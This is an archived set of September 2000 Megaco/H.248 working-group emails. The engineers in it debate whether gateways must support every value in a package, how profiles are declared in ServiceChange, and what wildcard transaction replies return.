> > > >a different profile.
> > >
> > > I agree. I believe the point is that any one MG can support
> > one or more
> > > profile, however, once the most featurefull profile is
> > found to be accepted
> > > by an MGC, use it.
> >
> > I disagree as Brian's comments assumes a meaningful ordering
> > relation between
> > (at least a resonable subset of) profiles based on some set
> > of features
> > supported. I don't see that. Christian's proposal of allowing
> > a listing of
> > profiles seemed pretty good to me - what was wrong with this again ?
> >
> > -- Flemming
> >
> > >
> > >
> > > What we build into our IpPhone MG is our choice. I don't
> > believe this limits
> > > us in any way. If so, how?
> > >
> > > /mpd
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28535
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:10 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90FAC@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:58:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21451 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:58:56 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90F77@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          22:48:55 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8731vp25855; Thu, 7 Sep 2000 05:01:58 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20041; Thu, 7 Sep 2000 05:01:57 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16100; Thu, 7 Sep 2000
          05:01:49 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D1F@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6FAE6.577C54C6@ericsson.com>
Date:         Thu, 7 Sep 2000 13:18:14 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Support of Values in Packages
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

I'm still having trouble with this. Do me this is just leading to
optionality of what values you support. By specifying arbitrary string
you are basically saying  I support different set of values for the
property and you have to audit to find out why unless we use evil
provisioning.

So back to examples of where sub-sets of values can be possible:
o codecs,
o announcements,
o H.248 Annex F has lots of examples ie. f7.1.2 Communication Mode will
all MGs support every mode?
o H.248 Annex E.12.2 rtp payload types - the way its defined here allows
for multiple subsets.
o H.248 Annex G Function Key Package "l001 - l999 (0x0015-0x03fb)       Set of
line keys" I gather different MG will support a different number of keys
in this range.

I think I provided exceptions to the rule and in many cases when we
define packages the values supported will be variable. So I still think
we need to add some text to the implementors guide regarding this.

Cheers, Christian

Tom-PT Taylor wrote:
>
> No, what I meant was that the type of "Announcement ID" would be arbitrary
> string, and the meaning of specific strings would be understood between the
> MG and MGC through provisioning.
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Wednesday, September 06, 2000 1:19 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Support of Values in Packages
> >
> >
> > G'Day Tom,
> >
> > So am I correct in understanding that if we add values to what is
> > specified in a package that we don't need to extend the
> > package? That's
> > what your comment below seems to imply.
> >
> > I thought defaults were only provisioned, not additional values. ie in
> > Tone Package "Extensions to this package would add possible values for
> > tone id".
> >
> > So I believe you still have this dilemma.
> >
> > Cheers, Christian
> >
> > Tom-PT Taylor wrote:
> > >
> > > There is a simple answer to the announcement dilemma, which
> > is that I'm not
> > > sure announcement names need to be standardized.  I can
> > think of only about
> > > five standard announcements in North American practice (as
> > codified by
> > > Bellcore).  Everything else would be a matter of
> > provisioning for local use.
> > >
> > > I would say tones are the best example of something
> > many-valued that we'll
> > > have.
> > >
> > > > -----Original Message-----
> > > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > > Sent: Sunday, September 03, 2000 8:00 PM
> > > > To: Taylor, Tom-PT [NORSE:B901:EXCH]
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Support of Values in Packages
> > > >
> > > >
> > > > G'Day Tom,
> > > >
> > > > If you think Codecs are a "Red-Herring" how about
> > > > Announcements? If you
> > > > have an MGC-MG that is operating as an anouncement server
> > > > which support
> > > > 100 announcements. You may want to place certain announcement
> > > > resources
> > > > across different MGs. Now you could have one package called the
> > > > Nortel-Announcement-Package or you could have the:
> > > > Nortel-Announcement-Package-1to20-for-AT&T
> > > > Nortel-Announcement-Package-1to30-for-MCI
> > > > Nortel-Announcement-Package-31-100-for-MCI
> > > > etc.etc.etc.
> > > >
> > > > If you have a strict rule that to be compliant to H.248
> > that you must
> > > > support all values of proporties and parameters by default
> > > > you can start
> > > > generating alot of packages when you don't need to and the
> > > > package space
> > > > is going to fill with really useless packages. Someting like
> > > > No. Packages for One Function = No. Vendors * No. of MG
> > > > configurations *
> > > > No. Customers
> > > >
> > > > Codecs are just one example of things that aren't linked, I
> > > > believe you
> > > > only need one case to disprove the rule.
> > > >
> > > > Cheers, Christian
> > > >
> > > > Tom-PT Taylor wrote:
> > > > >
> > > > > You make a valid point about "support" making fewer demands
> > > > on the MGC than
> > > > > on the MG in many cases.
> > > > >
> > > > > Just to frame the terms of discussion, I would suggest that
> > > > we use support
> > > > > in the strict sense that the recipient is capable of
> > > > carrying out the
> > > > > semantic intent, not just process the syntax.
> > > > >
> > > > > The key issues are predictability of MG behaviour vs.
> > > > package fragmentation.
> > > > > The codec example is (so far) a red herring, since I don't
> > > > recall a codec
> > > > > property in any of our packages.  Our solution to
> > > > open-ended lists to this
> > > > > point has been package extensions (cf toneids).  The hope
> > > > is that each such
> > > > > extension can cluster a reasonable number of items which
> > > > one might expect to
> > > > > be supported in the same device.  Something like codecs
> > > > would certainly dash
> > > > > that hope, since there is in general no linkage between the
> > > > support of one
> > > > > codec and the support of another.  We may just have to live
> > > > with this, in
> > > > > the sense that we end up registering lots of packages.  The
> > > > numbering space
> > > > > for package registration is pretty broad.
> > > > >
> > > > > -----Original Message-----
> > > > > From: Boyle, Kevin [NCRTP:3Z70:EXCH]
> > > > > Sent: Friday, August 25, 2000 2:01 PM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Support of Values in Packages
> > > > >
> > > > > Hello,
> > > > >
> > > > > A general question here:
> > > > >
> > > > > What, exactly, is meant by "support" of a signal?  Does
> > > > this mean that a
> > > > > gateway will absolutely know what the physical parameters
> > > > of the signal are,
> > > > > and will play it?  Or does it mean something a little less
> > > > than that, for
> > > > > instance, that the gateway will gracefully accept the
> > > > signal in question,
> > > > > not necessarily doing anything about it?
> > > > >
> > > > > Generally speaking, signals, and tones in particular, have
> > > > very precise
> > > > > definitions as to when and how they should be used.  So, if
> > > > there are no
> > > > > phones in need of a particular signal off of a gateway, in
> > > > theory, that
> > > > > signal would never be requested by the MGC.  However, if it
> > > > was, by the
> > > > > package definition, the MG would be required to support
> > it.  Is it
> > > > > incorrect, then, for the MG to successfully acknowledge
> > the signal
> > > > > application command, and then throw the signal away?  Maybe
> > > > the signal could
> > > > > be datafilled to be/do nothing in the MG, in which case
> > > > ignoring the signal
> > > > > would be a correct application of the signal to the line.
> > > > >
> > > > > MGCs have a little different issue with the meaning of
> > > > "support".  Just
> > > > > because a MGC supports the ability to generate a particular
> > > > signal to a MG,
> > > > > does not necessarily mean that MGC will ever do so.  In
> > > > this case, "support"
> > > > > becomes a pretty meaningless term.  If a signal is
> > never going to be
> > > > > generated, then what does support really mean?  That the
> > > > MGC can generate
> > > > > the signal through manual intervention?
> > > > >
> > > > > The same argument about signal support in MGCs also applies
> > > > to events as
> > > > > well.  If we will never ask for a particular event, what
> > > > does support of
> > > > > that event mean?  For MGs, the same is not true.  A MG must
> > > > be able to
> > > > > report a supported event when it is requested in the Events
> > > > descriptor.  So
> > > > > support of events from a MG standpoint is fairly
> > > > straightforward.  Since
> > > > > properties and statistics are acted upon in both
> > > > directions, support is also
> > > > > a straightforward concept for these as well.
> > > > >
> > > > > I, too, agree that there is an issue regarding values, as
> > > > highlighted by the
> > > > > codec example.  In the same vein, there needs to be a
> > > > better definition of
> > > > > what support means, especially in regards to signals and
> > > > events.  I propose,
> > > > > as a starting point for discussion, that "support" of
> > > > signals in the MG
> > > > > means that the MG will accept the signal, and acknowledge
> > > > it without error,
> > > > > at the very minimum.  Any problem with MGs choosing to
> > > > ignore important
> > > > > signals will be rectified by the MG's inability to produce
> > > > quality telephone
> > > > > service without those signals.  "Support" in the MGC is a
> > > > little tougher
> > > > > issue, since support of a signal or event is invisible
> > > > until such time as
> > > > > the signal or event is requested.
> > > > >
> > > > > Any comments/ideas/statements to correct my misconceptions? ;)
> > > > >
> > > > > Regards,
> > > > >
> > > > > Kevin Boyle
> > > > > CS2K Line Services
> > > > > Nortel Networks
> > > > >
> > > > > Flemming Andreasen wrote:
> > > > >
> > > > > Christian Groves wrote:
> > > > >
> > > > > > G'Day all,
> > > > > >
> > > > > > There has been some confusion at the SG16 on what is
> > supported in
> > > > > > Packages.
> > > > > >
> > > > > > The understanding that I had was that: If you support a
> > > > package you must
> > > > > > support all the signals, properties, events and statistics.
> > > > >
> > > > > Agreed.
> > > > >
> > > > > > However you
> > > > > > do not have to support all the values associated with the
> > > > properties and
> > > > > > parameters.
> > > > >
> > > > > I guess the term "values" is somewhat prone to
> > > > interpretation, but I would
> > > > > tend to disagree if we refer to a list of well-defined
> > > > values, as e.g. a
> > > > > list of tone ids in E.7.
> > > > >
> > > > > >
> > > > > >
> > > > > > Tom mentioned that a thread discussed on the list
> > > > contravened this.
> > > > > >
> > > > > > The reasoning that I have for not having to support all
> > > > the values is
> > > > > > the following:
> > > > > > o Proliferation of packages. Eg: if a package has a list
> > > > of tones, and I
> > > > > > must support all the values, if I only want to support a
> > > > subset of these
> > > > > > values then I need a new package. Therefore you may get
> > > > the case of a
> > > > > > package "Package Call Progress Tones E.7" where an MG
> > > > doesn't support
> > > > > > Payphone Recognition Tone because it doesn't have
> > > > payphones connected to
> > > > > > it.
> > > > >
> > > > > However, in this parcticular example, the tones are both
> > > > signals and tone
> > > > > ids, so the effect would be the same. While I'm not
> > > > particularly fond of the
> > > > >
> > > > > tonegen package, it does nevertheless illustrate an
> > > > important point, namely
> > > > > that the distinction between signals, and parameters to
> > > > signals (and similar
> > > > >
> > > > > for other constructs) is somewhat arbitrary. The package
> > > > really gives you
> > > > > two things:
> > > > > 1. A name space
> > > > > 2. A convenient grouping of some set of "properties"
> > > > >
> > > > > If we don't know exaclty what those "properties" are, then
> > > > we've lost a very
> > > > >
> > > > > important aspect of packages.
> > > > >
> > > > > > To be compliant with H.248 I can't extend the package
> > > > because I want
> > > > > > to remove the payphone tone. So a new Package needs
> > to be defined
> > > > > > containing exactly the same information but without the
> > > > payphone tone.
> > > > > > Now my MG won't support the standard Call Progress Tone
> > > > package but will
> > > > > > support the XXX_companies_Call_Progress_Tone package.
> > > > This would lead to
> > > > > > a proliferation of packages.
> > > > >
> > > > > I agree, but we have to ask ourselves what the idea about
> > > > packages is.
> > > > > Simplicity and flexibility are often at odds with each
> > > > other and in this
> > > > > case stress the importance of defining packages very carefully.
> > > > >
> > > > > If I no longer know exactly what is supported in a package,
> > > > how do I go
> > > > > about using that package ?
> > > > >
> > > > > >
> > > > > >
> > > > > > o Multiple GW support - One MG may not implement all the
> > > > values of a
> > > > > > property. For something like a list of codecs, a group of
> > > > resources
> > > > > > associated with the value may be placed in different MG
> > > > GWs. ie. GSM
> > > > > > codecs in MG1, PCM codecs in MG2. So whilst the MGs
> > > > support the same
> > > > > > package properties, they can't support a subset of values
> > > > then you'd
> > > > > > need to define a different package for each MG
> > > > configuration. Again
> > > > > > leading to a proliferation of packages.
> > > > >
> > > > > Back to defining what "values" mean. Obviously, if we
> > > > define a "codec"
> > > > > property in a package, we can't expect support for every
> > > > possible codec in
> > > > > the world.
> > > > >
> > > > > Maybe there's a distinction between supporting values for
> > > > events, signals,
> > > > > statistics, and properties ?
> > > > >
> > > > > >
> > > > > >
> > > > > > o The MGC knows the PackageID, that all Properties,
> > > > Signals, Events,
> > > > > > Statistics are supported. In H.248 we have the
> > AuditCapability and
> > > > > > AuditValue commands to find out what actual values of
> > > > properties are
> > > > > > supported.
> > > > >
> > > > > Not sure how you would do that with event and signal
> > > > parameters though (come
> > > > >
> > > > > to think of it, I'm not sure how you, in practice, do that
> > > > for a lot of
> > > > > parameters; "The appropriate descriptors, *with the
> > > > possible values for the
> > > > > Termination* are returned from AuditCapabilities", Section
> > > > 7.2.6). On the
> > > > > other, we could have a new property that looked similar, so
> > > > it's not clear
> > > > > it wouldn't apply there either.
> > > > >
> > > > > >
> > > > > >
> > > > > > So if people agree that not all values in a package need
> > > > to be supported
> > > > > > I propose to add some text to the implementor's guide:
> > > > > > Section 12.1 after 2nd Paragraph
> > > > > > "A MG SHALL support all Property, Signals &
> > parameters, Events &
> > > > > > parameters and Statistics. A MG MAY support a subset of
> > > > property and
> > > > > > parameter values defined in the package unless specified
> > > > in a package."
> > > > >
> > > > > I don't want to deflate the package concept to the extent
> > > > this would seem to
> > > > >
> > > > > allow, but I agree there's an issue here. Further
> > > > discussion is needed
> > > > > before we make any change.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > Cheers, Christian
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > >
> > > >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28544
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:13 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90FB5@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:59:02 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21452 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:59:02 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90F76@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:48:49
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8731lw03659; Thu, 7 Sep 2000 05:01:47 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20032; Thu, 7 Sep 2000 05:01:46 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16096; Thu, 7 Sep 2000
          05:01:44 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E336@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6DE4E.5CC9D597@ericsson.com>
Date:         Thu, 7 Sep 2000 11:16:14 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Peter Blatherwick <blather@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Pete,

Some comments below marked [CHG]

Cheers, Christian

Peter Blatherwick wrote:
>
> A couple of points to add to the below (I agree with reasoning and 1
> profile at a time rule):
>
> I do not expect profiles to completely get around auditing, merely
> make it a whole lot easier and more reliable.  If termination/package
> structure, minimum package support, naming conventions and so on are
> all agreed implicitly by the MGC accepting a profile, then audits are
> used only to find out what else a particular MG does, and audits can
> be much more specifically directed.  If an MGC wants to only support
> the minimum function, there may be no audits required at all in some
> cases (not the case in IP Phone BTW -- would still need to audit
> specific UI widgets supported by the UI termination).
>
> In the example of a Fax IP Phone, an alternative to creating a new
> profile extending IP Phone is for the device just to support the IP
> Phone profile and use MGC audits to discover there is additional fax
> support in the MG.  (Not too sure just what hypothetical package(s) we
> would need to add to make this so, but no worries about that here.)
> As long as the Fax IP Phone device follows the basic structure and
> rules of IP Phone, I don't see any interoperability trouble or
> ambiguity.

[CHG] You are assuming the MG has IPPhone Profile. Say I have a class of
MG that only has IPFax support and thus an IPFax Profile. Suddenly in
the world I have an IPPhone Profile and a IPFax Profile. As a vendor or
operator I think an MG having both IPPhone and IPFax is pretty cool. I
turn to the two profiles and want both in my gateway. Suddenly the MG
supports 2 profiles which could be used by the same MGC. The alternative
is an IPPhone-Fax profile but now we have 3 profiles.

Does anyone see why I'm worried if we don't have something explaining
what to do?

>
> Also, to re-iterate an earlier point, if we take it as given that
> profiles can define such things as assumed termination/package
> structure and naming conventions, then arbitrary mixing of multiple
> profiles is much more than understanding minimum required package
> support, and is a much trickier problem.  Mutually incompatible
> assumptions may be made by the multiple profiles, and then how to sort
> out the resulting ambiguity in the MGC and MG?  Yeti.  Without rules
> for profile definition we have no way to sort this out for multiple
> simultaneous profiles.  With the one profile at a time rule, the
> problem does not exist and yet we can still extend using additional
> packages within the overall structure defined by that profile.

[CHG] I think the only imcompatibility problems lie in the transport and
encoding. The MGC will use the relevant Packages and naming conventions
for the operation it wants. The MG just executes the commands. I
completely agree some rules are needed for profile definition.

>
> If it is desirable to create profiles that extend others (I think this
> would be a good thing), I submit we need to define formal definition
> rules to specify how this works, along the lines of what we did with
> packages.  To my mind this would be an extension of the Megaco/H.248
> Protocol, for version 2, not a job for the Implementer's Guide.  Same
> goes for re-defining profile in ServiceChange -- must be tied to
> specific rules.

[CHG] Profile extension to me is a little weird. I'd rather stop at
packages. We have the whole issue of registering names, backwards
compatibility etc. to deal with. But I do think we need some guide on
this now.

>
> -- Peter
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Wednesday, September 06, 2000 11:04
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> I think that if we need to have faxphones, then we need
> a profile for them, and there should be one way to do that,
> which would be an extension of the Ipphone profile.
>
> The real issue is, suppose you only had an MGC available that
> DID understand Ipphone, but did NOT understand Ipfaxphone.
>
> What is the right thing to do?
>  a) fail, because you can't fax, and a user may expect that
>  b) use the Ipphone protocol and cause a local error if
>         a user tried to fax
>  c) have local action (provisioning, or local configuration)
>         that disables the fax function
> I'm not really sure what the best answer is.  It's not
> obvious to me that there IS a good answer.  It's good to
> use the lowest common denominator to get service, but you
> really ought to disable fax at the local terminal (which
> could downgrade the profile).
>
> I do think you have raised another issue worth discussing,
> which is:
>         Should we create a new profile to add one feature,
>                 or should MGCs audit always?
>
> This also seems to me to not have an ideal answer:
>   Making tons of profiles to add features is clearly going to
>   give us lots of non-interoperable devices
>
>         but
>
>   auditing removes any usefulness of profiles for actual
>   operation of the protocol
>
> Brian
>
> > -----Original Message-----
> > From: John Segers [mailto:jsegers@LUCENT.COM]
> > Sent: Wednesday, September 06, 2000 10:48 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > I agree to the underlying idea that profiles could be used to
> restrict
> > fragmentation.  On the other hand, I think that Christian has a
> point.
> > His example may have been unfortunate because it mentioned a call
> > signaling protocol, but the point is valid.
> >
> > Suppose that I want to build a MG that supports the IPphone
> > profile, and
> > I also build in IP fax support.  If my MG signals that it supports
> the
> > IPphone profile, the MGC infers that this MG supports a certain set
> of
> > packages and maybe some things that are optional in the base megaco
> > protocol.  It doesn't have a reason to audit the MG and find
> > out that it
> > can also do IP fax.  So how do I get the MGC to use the fax support
> > (other than by provisioning the MGC with this information)?
> >
> > John
> >
> > Flemming Andreasen wrote:
> > >
> > > OK - I'll buy that.
> > >
> > > -- Flemming
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > What is wrong is that it promotes proliferation of
> > > > many overlapping profiles.  Profiles are supposed to be
> > > > a way of reducing the variability that Packages provide,
> > > > so that one could reasonably expect to be able to find
> > > > interoperable MGs and MGCs.
> > > >
> > > > No one can legislate this (no protocol police...), but
> > > > we can encourage, or discourage proliferation of
> > > > many profiles that attempt to solve the same problem
> > > > different ways.  If you support 100 profiles, you may
> > > > as well just ignore the profile info and look at the
> > > > audited package list!
> > > >
> > > > I want to make it HARD to have more than one profile
> > > > per MG (not MGC).  Not impossible, just hard.  I think
> > > > that will encourage coalescing around a small number of
> > > > profiles for specific purposes that all relevant MGs and
> > > > MGCs support, which in turn will make the protocol successful.
> > > >
> > > > What I fear is balkanization by proliferation of profiles,
> > > > which leads to non-interoperable devices.  It would be non
> > > > interoperable because there were no common profiles, rather
> > > > that if you found a common one, it wouldn't work.  The
> > > > package mechanism is a wonderful way to have all sorts of
> > > > extensions and features in MGs.  The profile mechanism was
> > > > designed to provide a way to corral the easy expansion into
> > > > more limited groups of options.  Generally, successful
> > > > protocols are not easy "bent" in many different ways -> you
> > > > get ONE way, and everyone does it that way, and the world
> > > > is better for it.  The package thing is great, but it is
> > > > a danger.  The profile is the only way I know to limit it's
> > > > potential to undermine the effectiveness of the protocol.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > > To: Michael P DiGioia
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > > Rosen, Brian
> > > > > Subject: Re: Profiles in Service Change
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Michael P DiGioia wrote:
> > > > >
> > > > > > Brian,
> > > > > >
> > > > > > > > So does that mean that nobody can make an MG which
> > > > > supports more than
> > > > > > > > one profile? :-)
> > > > > >
> > > > > > >One way to get around the limitation is to try to get
> > > > > > >service using the most "featurefull" profile.  If you fail
> > > > > > >to find an MGC that can serve that profile, try again with
> > > > > > >a different profile.
> > > > > >
> > > > > > I agree. I believe the point is that any one MG can support
> > > > > one or more
> > > > > > profile, however, once the most featurefull profile is
> > > > > found to be accepted
> > > > > > by an MGC, use it.
> > > > >
> > > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > > relation between
> > > > > (at least a resonable subset of) profiles based on some set
> > > > > of features
> > > > > supported. I don't see that. Christian's proposal of allowing
> > > > > a listing of
> > > > > profiles seemed pretty good to me - what was wrong with
> > this again ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > What we build into our IpPhone MG is our choice. I don't
> > > > > believe this limits
> > > > > > us in any way. If so, how?
> > > > > >
> > > > > > /mpd
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> >
> > --
> > John Segers                                  email:
> jsegers@lucent.com
> > Lucent Technologies                                        Room HE
> 303
> > Dept. Forward Looking Work                      phone: +31 35 687
> 4724
> > P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687
> 5954
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 23:15:17 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA28551
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 23:15:16 -0400 (EDT)
Received: from standards (47.234.32.16:3035) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90FBA@standards.nortelnetworks.com>; Wed, 6 Sep 2000 22:59:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21453 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 22:59:04 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90F78@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          22:48:59 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e87322p25873; Thu, 7 Sep 2000 05:02:02 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA20047; Thu, 7 Sep 2000 05:02:01 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA16104; Thu, 7 Sep 2000
          05:01:59 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D0D@zcard00g.ca.nortel.com>
            <39B609EF.32950A75@lucent.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6FCB3.26C179BC@ericsson.com>
Date:         Thu, 7 Sep 2000 13:25:55 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         John Segers <jsegers@LUCENT.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day John,

I think we are in agreement that unions are shown at the most atomic
level. Do you see the need for some clarifying text on what is reported
back when you wildcard either the terminationID or ContextID. This first
sentence says that for w- individual responses are not required, what
does this mean for Context=ALL or/and TerminationID=ALL.

Cheers, Christian

John Segers wrote:
>
> Tom,
>
> This is my understanding as well.  Relevant text appears in section
> 6.2.2:
>         If individual responses are not required, a wildcard response
>         may be requested.  In such a case, a single response is
>         generated, which contains the UNION of all of the individual
>         responses which otherwise would have been generated, with
>         duplicate values suppressed.  For instance, given a Termination
>         Ta with properties p1=a, p2=b and Termination Tb with
>         properties p2=c, p3=d, a UNION response would consist of a
>         wildcarded TerminationId and the sequence of properties p1=a,
>         p2=b,c and p3=d.
>
> Cheers,
>
> John
>
> Tom-PT Taylor wrote:
> >
> > I always understood the intent of "W-" to mean that the response would show
> > unions at the most atomic level (i.e. per-parameter).  In other words, it
> > was meant to show the range of values supported, not something intelligible
> > on a per-session basis.  I have to admit that it isn't necessarily clear
> > what a "parameter" is in SDP (i.e.) would all "a=fmtp:" be collapsed into
> > one list?
> >
> > > -----Original Message-----
> > > From: Shalini Philip [mailto:sphilip@GLOBESPAN.NET]
> > > Sent: Tuesday, September 05, 2000 4:21 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Transaction Reply Context=ALL, wilcard response
> > >
> > >
> > > Hello Brian, Christian & list.
> > >
> > >         The example given below shows multiple Statistics
> > > descriptors in
> > > the descriptor list for a command reply. I believe,
> > > the common understanding is that only the digit map descriptor and the
> > > error descriptors are the only two descriptors
> > > which can be repeated. If other descriptors can also be repeated, then
> > > we can have multiple Mux descriptors, if the
> > > MG supports multiple MUX types.
> > > Also since it is not feasible to take the union of SDP definitions in
> > > local and remote descriptors, I guess we can even have
> > > multiple local and remote descriptors , or do we put them as multiple
> > > SDP definitions in the same local/remote descriptor.
> > >
> > > Thanks & Regards,
> > >   Shalini Philip.
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > >  I don't think you can do a subtract with CHOOSE.
> > > > You could use ALL, but not choose.
> > > >
> > > > If you ask for a wildcard response, I think you get one response per
> > > > value found, if they are different.  Since you get statistics on
> > > > results, any identical statistics reports would only be
> > > > repeated once.  So. assuming you used ALL, I'd expect:
